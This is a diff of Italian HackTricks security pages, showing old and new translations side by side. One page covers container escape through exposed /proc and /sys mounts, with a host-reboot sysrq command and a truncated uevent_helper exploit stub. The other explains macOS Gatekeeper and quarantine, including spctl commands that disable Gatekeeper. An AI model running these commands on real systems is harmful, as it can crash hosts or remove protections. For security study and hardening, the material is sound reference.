L'esposizione di `/proc` e `/sys` senza un'adeguata isolamento dei namespace introduce rischi significativi per la sicurezza, tra cui l'ingrandimento della superficie di attacco e la divulgazione di informazioni. Queste directory contengono file sensibili che, se configurati in modo errato o accessibili da un utente non autorizzato, possono portare alla fuga del container, alla modifica dell'host o fornire informazioni che facilitano ulteriori attacchi. Ad esempio, il montaggio non corretto di `-v /proc:/host/proc` può eludere la protezione di AppArmor a causa della sua natura basata sul percorso, lasciando `/host/proc` non protetto.
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
L'esposizione di `/proc` e `/sys` senza un'adeguata isolamento dei namespace introduce rischi significativi per la sicurezza, tra cui l'ingrandimento della superficie di attacco e la divulgazione di informazioni. Queste directory contengono file sensibili che, se configurati in modo errato o accessibili da un utente non autorizzato, possono portare alla fuga del container, alla modifica dell'host o fornire informazioni che facilitano ulteriori attacchi. Ad esempio, il montaggio non corretto di `-v /proc:/host/proc` può aggirare la protezione di AppArmor a causa della sua natura basata sul percorso, lasciando `/host/proc` non protetto.
|
||||
|
||||
**Puoi trovare ulteriori dettagli su ciascuna vulnerabilità potenziale in** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
|
||||
|
||||
|
@ -60,9 +64,9 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Controlla l'accesso a modprobe
|
|||
#### **`/proc/sys/fs/binfmt_misc`**
|
||||
|
||||
* Consente di registrare interpreti per formati binari non nativi in base al loro numero magico.
|
||||
* Può portare a un'escalation dei privilegi o all'accesso alla shell di root se `/proc/sys/fs/binfmt_misc/register` è scrivibile.
|
||||
* Può portare a escalation dei privilegi o accesso alla shell di root se `/proc/sys/fs/binfmt_misc/register` è scrivibile.
|
||||
* Esploito e spiegato in modo dettagliato:
|
||||
* [Rootkit fai-da-te tramite binfmt\_misc](https://github.com/toffan/binfmt\_misc)
|
||||
* [Rootkit da pover'uomo tramite binfmt\_misc](https://github.com/toffan/binfmt\_misc)
|
||||
* Tutorial approfondito: [Link al video](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
|
||||
### Altri in `/proc`
|
||||
|
@ -89,7 +93,7 @@ echo b > /proc/sysrq-trigger # Riavvia l'host
|
|||
#### **`/proc/kallsyms`**
|
||||
|
||||
* Elenca i simboli esportati dal kernel e i loro indirizzi.
|
||||
* Essenziale per lo sviluppo di exploit del kernel, specialmente per superare il KASLR.
|
||||
* Fondamentale per lo sviluppo di exploit del kernel, specialmente per superare il KASLR.
|
||||
* Le informazioni sugli indirizzi sono limitate con `kptr_restrict` impostato su `1` o `2`.
|
||||
* Dettagli in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
|
||||
|
@ -119,7 +123,7 @@ echo b > /proc/sysrq-trigger # Riavvia l'host
|
|||
#### **`/proc/sched_debug`**
|
||||
|
||||
* Restituisce informazioni sulla pianificazione dei processi, aggirando le protezioni dello spazio dei PID.
|
||||
* Espone nomi dei processi, ID e identificatori dei cgroup.
|
||||
* Espone nomi dei processi, ID e identificatori cgroup.
|
||||
|
||||
#### **`/proc/[pid]/mountinfo`**
|
||||
|
||||
|
@ -130,8 +134,8 @@ echo b > /proc/sysrq-trigger # Riavvia l'host
|
|||
|
||||
#### **`/sys/kernel/uevent_helper`**
|
||||
|
||||
* Usato per gestire gli `uevent` dei dispositivi del kernel.
|
||||
* Scrivere su `/sys/kernel/uevent_helper` può eseguire script arbitrari al verificarsi degli `uevent`.
|
||||
* Usato per gestire i `uevent` dei dispositivi del kernel.
|
||||
* Scrivere su `/sys/kernel/uevent_helper` può eseguire script arbitrari al verificarsi dei `uevent`.
|
||||
* **Esempio di exploit**: %%%bash
|
||||
|
||||
## Crea un payload
|
||||
|
@ -163,8 +167,8 @@ cat /output %%%
|
|||
|
||||
#### **`/sys/kernel/security`**
|
||||
|
||||
* Contiene l'interfaccia `securityfs`, consentendo la configurazione dei Moduli di Sicurezza Linux come AppArmor.
|
||||
* L'accesso potrebbe consentire a un contenitore di disabilitare il suo sistema MAC.
|
||||
* Contiene l'interfaccia `securityfs`, permettendo la configurazione dei Moduli di Sicurezza Linux come AppArmor.
|
||||
* L'accesso potrebbe consentire a un container di disabilitare il suo sistema MAC.
|
||||
|
||||
#### **`/sys/firmware/efi/vars` e `/sys/firmware/efi/efivars`**
|
||||
|
||||
|
@ -182,6 +186,10 @@ cat /output %%%
|
|||
* [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf)
|
||||
* [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
|
|
@ -1,45 +1,47 @@
|
|||
# macOS Gatekeeper / Quarantine / XProtect
|
||||
# macOS Gatekeeper / Quarantena / XProtect
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? O vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)
|
||||
*
|
||||
* .
|
||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo di hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo di hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## Gatekeeper
|
||||
|
||||
**Gatekeeper** è una funzionalità di sicurezza sviluppata per i sistemi operativi Mac, progettata per garantire che gli utenti **eseguano solo software affidabili** sui loro sistemi. Funziona **validando il software** che un utente scarica e cerca di aprire da **fonti esterne all'App Store**, come un'applicazione, un plug-in o un pacchetto di installazione.
|
||||
**Gatekeeper** è una funzionalità di sicurezza sviluppata per i sistemi operativi Mac, progettata per garantire che gli utenti **eseguano solo software attendibile** sui loro sistemi. Funziona **validando il software** che un utente scarica e cerca di aprire da **fonti esterne all'App Store**, come un'app, un plug-in o un pacchetto di installazione.
|
||||
|
||||
Il meccanismo chiave di Gatekeeper risiede nel suo processo di **verifica**. Verifica se il software scaricato è **firmato da un sviluppatore riconosciuto**, garantendo l'autenticità del software. Inoltre, verifica se il software è **notarizzato da Apple**, confermando che è privo di contenuti dannosi noti e che non è stato manomesso dopo la notarizzazione.
|
||||
Il meccanismo chiave di Gatekeeper risiede nel suo processo di **verifica**. Controlla se il software scaricato è **firmato da un sviluppatore riconosciuto**, garantendo l'autenticità del software. Inoltre, verifica se il software è **notarizzato da Apple**, confermando che è privo di contenuti dannosi noti e che non è stato manomesso dopo la notarizzazione.
|
||||
|
||||
Inoltre, Gatekeeper rafforza il controllo e la sicurezza dell'utente **richiedendo l'approvazione dell'utente per l'apertura** del software scaricato la prima volta. Questa protezione aiuta a evitare che gli utenti eseguano accidentalmente codice eseguibile potenzialmente dannoso che potrebbero aver scambiato per un semplice file di dati innocuo.
|
||||
Inoltre, Gatekeeper rafforza il controllo e la sicurezza dell'utente **chiedendo agli utenti di approvare l'apertura** del software scaricato per la prima volta. Questa protezione aiuta a impedire agli utenti di eseguire involontariamente codice eseguibile potenzialmente dannoso che potrebbero aver scambiato per un file dati innocuo.
|
||||
|
||||
### Firme delle applicazioni
|
||||
### Firme delle Applicazioni
|
||||
|
||||
Le firme delle applicazioni, anche note come firme del codice, sono un componente critico dell'infrastruttura di sicurezza di Apple. Vengono utilizzate per **verificare l'identità dell'autore del software** (lo sviluppatore) e per garantire che il codice non sia stato manomesso dalla sua ultima firma.
|
||||
Le firme delle applicazioni, conosciute anche come firme di codice, sono un componente critico dell'infrastruttura di sicurezza di Apple. Sono utilizzate per **verificare l'identità dell'autore del software** (lo sviluppatore) e per garantire che il codice non sia stato manomesso dall'ultima firma.
|
||||
|
||||
Ecco come funziona:
|
||||
|
||||
1. **Firma dell'applicazione:** Quando uno sviluppatore è pronto a distribuire la propria applicazione, **firma l'applicazione utilizzando una chiave privata**. Questa chiave privata è associata a un **certificato che Apple rilascia allo sviluppatore** quando si iscrive al programma Apple Developer. Il processo di firma prevede la creazione di un hash crittografico di tutte le parti dell'applicazione e la crittografia di questo hash con la chiave privata dello sviluppatore.
|
||||
2. **Distribuzione dell'applicazione:** L'applicazione firmata viene quindi distribuita agli utenti insieme al certificato dello sviluppatore, che contiene la corrispondente chiave pubblica.
|
||||
3. **Verifica dell'applicazione:** Quando un utente scarica e cerca di eseguire l'applicazione, il sistema operativo Mac utilizza la chiave pubblica del certificato dello sviluppatore per decrittare l'hash. Quindi ricalcola l'hash in base allo stato attuale dell'applicazione e confronta questo valore con l'hash decrittato. Se corrispondono, significa che **l'applicazione non è stata modificata** dalla firma dello sviluppatore e il sistema permette l'esecuzione dell'applicazione.
|
||||
1. **Firmare l'Applicazione:** Quando uno sviluppatore è pronto a distribuire la propria applicazione, **firma l'applicazione utilizzando una chiave privata**. Questa chiave privata è associata a un **certificato che Apple rilascia allo sviluppatore** quando si iscrive al programma per sviluppatori Apple. Il processo di firma prevede la creazione di un hash crittografico di tutte le parti dell'applicazione e la crittografia di questo hash con la chiave privata dello sviluppatore.
|
||||
2. **Distribuire l'Applicazione:** L'applicazione firmata viene quindi distribuita agli utenti insieme al certificato dello sviluppatore, che contiene la corrispondente chiave pubblica.
|
||||
3. **Verificare l'Applicazione:** Quando un utente scarica e cerca di eseguire l'applicazione, il sistema operativo Mac utilizza la chiave pubblica del certificato dello sviluppatore per decrittare l'hash. Quindi ricalcola l'hash in base allo stato attuale dell'applicazione e confronta questo con l'hash decrittato. Se corrispondono, significa che **l'applicazione non è stata modificata** dall'ultima firma dello sviluppatore e il sistema permette all'applicazione di eseguirsi.
|
||||
|
||||
Le firme delle applicazioni sono una parte essenziale della tecnologia Gatekeeper di Apple. Quando un utente cerca di **aprire un'applicazione scaricata da Internet**, Gatekeeper verifica la firma dell'applicazione. Se è firmata con un certificato rilasciato da Apple a uno sviluppatore noto e il codice non è stato manomesso, Gatekeeper permette l'esecuzione dell'applicazione. In caso contrario, blocca l'applicazione e avvisa l'utente.
|
||||
Le firme delle applicazioni sono una parte essenziale della tecnologia Gatekeeper di Apple. Quando un utente tenta di **aprire un'applicazione scaricata da Internet**, Gatekeeper verifica la firma dell'applicazione. Se è firmata con un certificato rilasciato da Apple a uno sviluppatore conosciuto e il codice non è stato manomesso, Gatekeeper permette all'applicazione di eseguirsi. In caso contrario, blocca l'applicazione e avvisa l'utente.
|
||||
|
||||
A partire da macOS Catalina, **Gatekeeper verifica anche se l'applicazione è stata notarizzata** da Apple, aggiungendo un ulteriore livello di sicurezza. Il processo di notarizzazione controlla l'applicazione per problemi di sicurezza noti e codice dannoso, e se questi controlli hanno esito positivo, Apple aggiunge un ticket all'applicazione che Gatekeeper può verificare.
|
||||
A partire da macOS Catalina, **Gatekeeper verifica anche se l'applicazione è stata notarizzata** da Apple, aggiungendo un ulteriore livello di sicurezza. Il processo di notarizzazione controlla l'applicazione per problemi di sicurezza noti e codice dannoso e, se questi controlli hanno esito positivo, Apple aggiunge un biglietto all'applicazione che Gatekeeper può verificare.
|
||||
|
||||
#### Verifica delle firme
|
||||
|
||||
Quando si controlla un **esempio di malware**, è sempre opportuno **verificare la firma** del binario poiché lo **sviluppatore** che l'ha firmato potrebbe essere già **associato** a **malware**.
|
||||
#### Verifica delle Firme
|
||||
|
||||
Quando si controlla un **campione di malware**, è sempre opportuno **verificare la firma** del binario poiché lo **sviluppatore** che l'ha firmato potrebbe essere già **associato** a **malware**.
|
||||
```bash
|
||||
# Get signer
|
||||
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
|
||||
|
@ -56,36 +58,32 @@ spctl --assess --verbose /Applications/Safari.app
|
|||
# Sign a binary
|
||||
codesign -s <cert-name-keychain> toolsdemo
|
||||
```
|
||||
|
||||
### Notarizzazione
|
||||
|
||||
Il processo di notarizzazione di Apple serve come ulteriore protezione per gli utenti da software potenzialmente dannosi. Esso prevede che lo sviluppatore sottoponga la propria applicazione all'esame del servizio di notarizzazione di Apple, che non va confuso con la revisione dell'app. Questo servizio è un sistema automatizzato che analizza il software inviato alla ricerca di contenuti maligni e eventuali problemi con la firma del codice.
|
||||
Il processo di notarizzazione di Apple funge da ulteriore salvaguardia per proteggere gli utenti da software potenzialmente dannoso. Coinvolge lo **sviluppatore che invia la propria applicazione per esame** al **Servizio di Notarizzazione di Apple**, che non va confuso con la Revisione dell'App. Questo servizio è un **sistema automatizzato** che esamina il software inviato alla ricerca di **contenuti dannosi** e potenziali problemi con la firma del codice.
|
||||
|
||||
Se il software supera questa ispezione senza sollevare preoccupazioni, il servizio di notarizzazione genera un ticket di notarizzazione. Lo sviluppatore è quindi tenuto ad allegare questo ticket al proprio software, in un processo chiamato "stapling". Inoltre, il ticket di notarizzazione viene anche pubblicato online, dove Gatekeeper, la tecnologia di sicurezza di Apple, può accedervi.
|
||||
Se il software **supera** questa ispezione senza sollevare preoccupazioni, il Servizio di Notarizzazione genera un biglietto di notarizzazione. Lo sviluppatore è quindi tenuto a **allegare questo biglietto al proprio software**, un processo noto come 'stapling'. Inoltre, il biglietto di notarizzazione viene anche pubblicato online dove Gatekeeper, la tecnologia di sicurezza di Apple, può accedervi.
|
||||
|
||||
Alla prima installazione o esecuzione del software da parte dell'utente, l'esistenza del ticket di notarizzazione - sia che sia allegato all'eseguibile o trovato online - informa Gatekeeper che il software è stato notarizzato da Apple. Di conseguenza, Gatekeeper mostra un messaggio descrittivo nella finestra di avvio iniziale, indicando che il software è stato sottoposto a controlli per contenuti maligni da parte di Apple. Questo processo aumenta la fiducia dell'utente nella sicurezza del software che installa o esegue sui propri sistemi.
|
||||
Alla prima installazione o esecuzione del software da parte dell'utente, l'esistenza del biglietto di notarizzazione - che sia allegato all'eseguibile o trovato online - **informa Gatekeeper che il software è stato notarizzato da Apple**. Di conseguenza, Gatekeeper visualizza un messaggio descrittivo nella finestra di avvio iniziale, indicando che il software è stato sottoposto a controlli per contenuti dannosi da parte di Apple. Questo processo aumenta la fiducia dell'utente nella sicurezza del software che installano o eseguono sui propri sistemi.
|
||||
|
||||
### Enumerazione di GateKeeper
|
||||
|
||||
GateKeeper è sia una serie di componenti di sicurezza che impediscono l'esecuzione di app non attendibili, sia uno dei componenti stessi.
|
||||
|
||||
È possibile visualizzare lo **stato** di GateKeeper con:
|
||||
GateKeeper è sia **diversi componenti di sicurezza** che impediscono l'esecuzione di app non attendibili, sia **uno dei componenti**.
|
||||
|
||||
È possibile verificare lo **stato** di GateKeeper con:
|
||||
```bash
|
||||
# Check the status
|
||||
spctl --status
|
||||
```
|
||||
|
||||
{% hint style="danger" %}
|
||||
Si noti che i controlli di firma di GateKeeper vengono eseguiti solo su **file con l'attributo Quarantena**, non su ogni file.
|
||||
Si noti che i controlli delle firme di GateKeeper vengono eseguiti solo per **file con l'attributo Quarantena**, non per ogni file.
|
||||
{% endhint %}
|
||||
|
||||
GateKeeper verificherà se, in base alle **preferenze e alla firma**, un binario può essere eseguito:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (678).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Il database che conserva questa configurazione si trova in **`/var/db/SystemPolicy`**. È possibile verificare questo database come root con:
|
||||
<figure><img src="../../../.gitbook/assets/image (1147).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Il database che mantiene questa configurazione si trova in **`/var/db/SystemPolicy`**. È possibile controllare questo database come root con:
|
||||
```bash
|
||||
# Open database
|
||||
sqlite3 /var/db/SystemPolicy
|
||||
|
@ -99,12 +97,10 @@ anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] exists
|
|||
anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID
|
||||
[...]
|
||||
```
|
||||
|
||||
Nota come la prima regola termina in "**App Store**" e la seconda in "**Developer ID**" e che nell'immagine precedente era **abilitato ad eseguire app dall'App Store e da sviluppatori identificati**.\
|
||||
Se **modifichi** questa impostazione in App Store, le regole "**Notarized Developer ID**" scompariranno.
|
||||
Nota come la prima regola sia terminata in "**App Store**" e la seconda in "**Developer ID**" e che nell'immagine precedente era **abilitato ad eseguire app dall'App Store e da sviluppatori identificati**.\
|
||||
Se **modifichi** quell'impostazione su App Store, le regole di "**Developer ID notarizzati** scompariranno".
|
||||
|
||||
Ci sono anche migliaia di regole di **tipo GKE**:
|
||||
|
||||
```bash
|
||||
SELECT requirement,allow,disabled,label from authority where label = 'GKE' limit 5;
|
||||
cdhash H"b40281d347dc574ae0850682f0fd1173aa2d0a39"|1|0|GKE
|
||||
|
@ -113,17 +109,13 @@ cdhash H"4317047eefac8125ce4d44cab0eb7b1dff29d19a"|1|0|GKE
|
|||
cdhash H"0a71962e7a32f0c2b41ddb1fb8403f3420e1d861"|1|0|GKE
|
||||
cdhash H"8d0d90ff23c3071211646c4c9c607cdb601cb18f"|1|0|GKE
|
||||
```
|
||||
|
||||
Questi sono gli hash che provengono da **`/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth`, `/var/db/gke.bundle/Contents/Resources/gk.db`** e **`/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db`**
|
||||
|
||||
Oppure puoi elencare le informazioni precedenti con:
|
||||
|
||||
```bash
|
||||
sudo spctl --list
|
||||
```
|
||||
|
||||
Le opzioni **`--master-disable`** e **`--global-disable`** di **`spctl`** disabiliteranno completamente questi controlli di firma:
|
||||
|
||||
Le opzioni **`--master-disable`** e **`--global-disable`** di **`spctl`** disabiliteranno completamente questi controlli delle firme:
|
||||
```bash
|
||||
# Disable GateKeeper
|
||||
spctl --global-disable
|
||||
|
@ -133,19 +125,15 @@ spctl --master-disable
|
|||
spctl --global-enable
|
||||
spctl --master-enable
|
||||
```
|
||||
Quando completamente abilitato, apparirà una nuova opzione:
|
||||
|
||||
Quando completamente abilitata, apparirà una nuova opzione:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (679).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
È possibile **verificare se un'app verrà consentita da GateKeeper** con:
|
||||
<figure><img src="../../../.gitbook/assets/image (1148).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
È possibile **verificare se un'app sarà consentita da GateKeeper** con:
|
||||
```bash
|
||||
spctl --assess -v /Applications/App.app
|
||||
```
|
||||
|
||||
È possibile aggiungere nuove regole in GateKeeper per consentire l'esecuzione di determinate app con:
|
||||
|
||||
```bash
|
||||
# Check if allowed - nop
|
||||
spctl --assess -v /Applications/App.app
|
||||
|
@ -160,29 +148,27 @@ sudo spctl --enable --label "whitelist"
|
|||
spctl --assess -v /Applications/App.app
|
||||
/Applications/App.app: accepted
|
||||
```
|
||||
|
||||
### File in quarantena
|
||||
|
||||
Al momento del **download** di un'applicazione o di un file, specifiche applicazioni macOS come browser web o client di posta elettronica **aggiungono un attributo esteso al file**, comunemente noto come "**flag di quarantena**". Questo attributo funge da misura di sicurezza per **marcare il file** come proveniente da una fonte non attendibile (internet) e potenzialmente portatore di rischi. Tuttavia, non tutte le applicazioni aggiungono questo attributo, ad esempio i client BitTorrent solitamente lo bypassano.
|
||||
Al **scaricare** un'applicazione o un file, specifiche **applicazioni macOS** come i browser web o i client di posta elettronica **aggiungono un attributo di file esteso**, comunemente noto come "**flag di quarantena**," al file scaricato. Questo attributo funge da misura di sicurezza per **marcare il file** come proveniente da una fonte non attendibile (internet) e potenzialmente portatore di rischi. Tuttavia, non tutte le applicazioni aggiungono questo attributo, ad esempio, i comuni software client BitTorrent di solito evitano questo processo.
|
||||
|
||||
**La presenza del flag di quarantena segnala la funzione di sicurezza Gatekeeper di macOS quando un utente tenta di eseguire il file**.
|
||||
**La presenza di un flag di quarantena segnala la funzione di sicurezza Gatekeeper di macOS quando un utente tenta di eseguire il file**.
|
||||
|
||||
Nel caso in cui il **flag di quarantena non sia presente** (come nei file scaricati tramite alcuni client BitTorrent), le **verifiche di Gatekeeper potrebbero non essere eseguite**. Pertanto, gli utenti dovrebbero fare attenzione quando aprono file scaricati da fonti meno sicure o sconosciute.
|
||||
Nel caso in cui il **flag di quarantena non sia presente** (come nei file scaricati tramite alcuni client BitTorrent), le **verifiche di Gatekeeper potrebbero non essere eseguite**. Pertanto, gli utenti dovrebbero fare attenzione nell'aprire file scaricati da fonti meno sicure o sconosciute.
|
||||
|
||||
{% hint style="info" %}
|
||||
**Verificare** la **validità** delle firme del codice è un processo **intensivo in termini di risorse** che include la generazione di **hash crittografici** del codice e di tutte le risorse associate. Inoltre, la verifica della validità del certificato comporta una **verifica online** ai server di Apple per verificare se è stato revocato dopo essere stato emesso. Per questi motivi, una verifica completa della firma del codice e della notarizzazione è **impraticabile da eseguire ogni volta che si avvia un'app**.
|
||||
**Verificare** la **validità** delle firme del codice è un processo **intensivo in termini di risorse** che include la generazione di **hash crittografici** del codice e di tutte le sue risorse incluse. Inoltre, verificare la validità del certificato comporta un **controllo online** ai server di Apple per vedere se è stato revocato dopo essere stato emesso. Per questi motivi, eseguire una verifica completa della firma del codice e della notarizzazione è **impraticabile da eseguire ogni volta che un'app viene avviata**.
|
||||
|
||||
Pertanto, queste verifiche vengono **eseguite solo quando si eseguono app con l'attributo di quarantena**.
|
||||
Pertanto, queste verifiche vengono **eseguite solo quando si eseguono app con l'attributo in quarantena**.
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
Questo attributo deve essere **impostato dall'applicazione che crea/scarica** il file.
|
||||
|
||||
Tuttavia, i file che sono sandboxati avranno questo attributo impostato su ogni file che creano. E le app non sandboxate possono impostarlo da sole o specificare la chiave [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/lsfilequarantineenabled?language=objc) nell'**Info.plist**, che farà sì che il sistema imposti l'attributo esteso `com.apple.quarantine` sui file creati.
|
||||
Tuttavia, i file che sono sandboxed avranno questo attributo impostato per ogni file che creano. E le app non sandboxed possono impostarlo da sole, o specificare la chiave [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/lsfilequarantineenabled?language=objc) nell'**Info.plist** che farà sì che il sistema imposti l'attributo esteso `com.apple.quarantine` sui file creati.
|
||||
{% endhint %}
|
||||
|
||||
È possibile **verificare lo stato e abilitare/disabilitare** (richiede privilegi di root) con:
|
||||
|
||||
È possibile **verificarne lo stato e abilitare/disabilitare** (richiede privilegi di root) con:
|
||||
```bash
|
||||
spctl --status
|
||||
assessments enabled
|
||||
|
@ -191,17 +177,13 @@ spctl --enable
|
|||
spctl --disable
|
||||
#You can also allow nee identifies to execute code using the binary "spctl"
|
||||
```
|
||||
|
||||
Puoi anche **verificare se un file ha l'attributo di quarantena esteso** con:
|
||||
|
||||
```bash
|
||||
xattr file.png
|
||||
com.apple.macl
|
||||
com.apple.quarantine
|
||||
```
|
||||
|
||||
Controlla il **valore** degli **attributi estesi** e scopri l'applicazione che ha scritto l'attributo di quarantena con:
|
||||
|
||||
Verifica il **valore** degli **attributi** **estesi** e scopri l'app che ha scritto l'attributo di quarantena con:
|
||||
```bash
|
||||
xattr -l portada.png
|
||||
com.apple.macl:
|
||||
|
@ -217,34 +199,70 @@ com.apple.quarantine: 00C1;607842eb;Brave;F643CD5F-6071-46AB-83AB-390BA944DEC5
|
|||
# Brave -- App
|
||||
# F643CD5F-6071-46AB-83AB-390BA944DEC5 -- UID assigned to the file downloaded
|
||||
```
|
||||
|
||||
In realtà, un processo "potrebbe impostare i flag di quarantena per i file che crea" (ho provato ad applicare il flag USER\_APPROVED a un file creato ma non si applica):
|
||||
In realtà un processo "potrebbe impostare i flag di quarantena ai file che crea" (ho provato ad applicare il flag USER\_APPROVED in un file creato ma non lo applica):
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Codice sorgente per l'applicazione dei flag di quarantena</summary>
|
||||
<summary>Codice Sorgente per applicare i flag di quarantena</summary>
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
\`\`\`c #include #include
|
||||
enum qtn_flags {
|
||||
QTN_FLAG_DOWNLOAD = 0x0001,
|
||||
QTN_FLAG_SANDBOX = 0x0002,
|
||||
QTN_FLAG_HARD = 0x0004,
|
||||
QTN_FLAG_USER_APPROVED = 0x0040,
|
||||
};
|
||||
|
||||
enum qtn\_flags { QTN\_FLAG\_DOWNLOAD = 0x0001, QTN\_FLAG\_SANDBOX = 0x0002, QTN\_FLAG\_HARD = 0x0004, QTN\_FLAG\_USER\_APPROVED = 0x0040, };
|
||||
#define qtn_proc_alloc _qtn_proc_alloc
|
||||
#define qtn_proc_apply_to_self _qtn_proc_apply_to_self
|
||||
#define qtn_proc_free _qtn_proc_free
|
||||
#define qtn_proc_init _qtn_proc_init
|
||||
#define qtn_proc_init_with_self _qtn_proc_init_with_self
|
||||
#define qtn_proc_set_flags _qtn_proc_set_flags
|
||||
#define qtn_file_alloc _qtn_file_alloc
|
||||
#define qtn_file_init_with_path _qtn_file_init_with_path
|
||||
#define qtn_file_free _qtn_file_free
|
||||
#define qtn_file_apply_to_path _qtn_file_apply_to_path
|
||||
#define qtn_file_set_flags _qtn_file_set_flags
|
||||
#define qtn_file_get_flags _qtn_file_get_flags
|
||||
#define qtn_proc_set_identifier _qtn_proc_set_identifier
|
||||
|
||||
\#define qtn\_proc\_alloc \_qtn\_proc\_alloc #define qtn\_proc\_apply\_to\_self \_qtn\_proc\_apply\_to\_self #define qtn\_proc\_free \_qtn\_proc\_free #define qtn\_proc\_init \_qtn\_proc\_init #define qtn\_proc\_init\_with\_self \_qtn\_proc\_init\_with\_self #define qtn\_proc\_set\_flags \_qtn\_proc\_set\_flags #define qtn\_file\_alloc \_qtn\_file\_alloc #define qtn\_file\_init\_with\_path \_qtn\_file\_init\_with\_path #define qtn\_file\_free \_qtn\_file\_free #define qtn\_file\_apply\_to\_path \_qtn\_file\_apply\_to\_path #define qtn\_file\_set\_flags \_qtn\_file\_set\_flags #define qtn\_file\_get\_flags \_qtn\_file\_get\_flags #define qtn\_proc\_set\_identifier \_qtn\_proc\_set\_identifier
|
||||
typedef struct _qtn_proc *qtn_proc_t;
|
||||
typedef struct _qtn_file *qtn_file_t;
|
||||
|
||||
typedef struct \_qtn\_proc \*qtn\_proc\_t; typedef struct \_qtn\_file \*qtn\_file\_t;
|
||||
|
||||
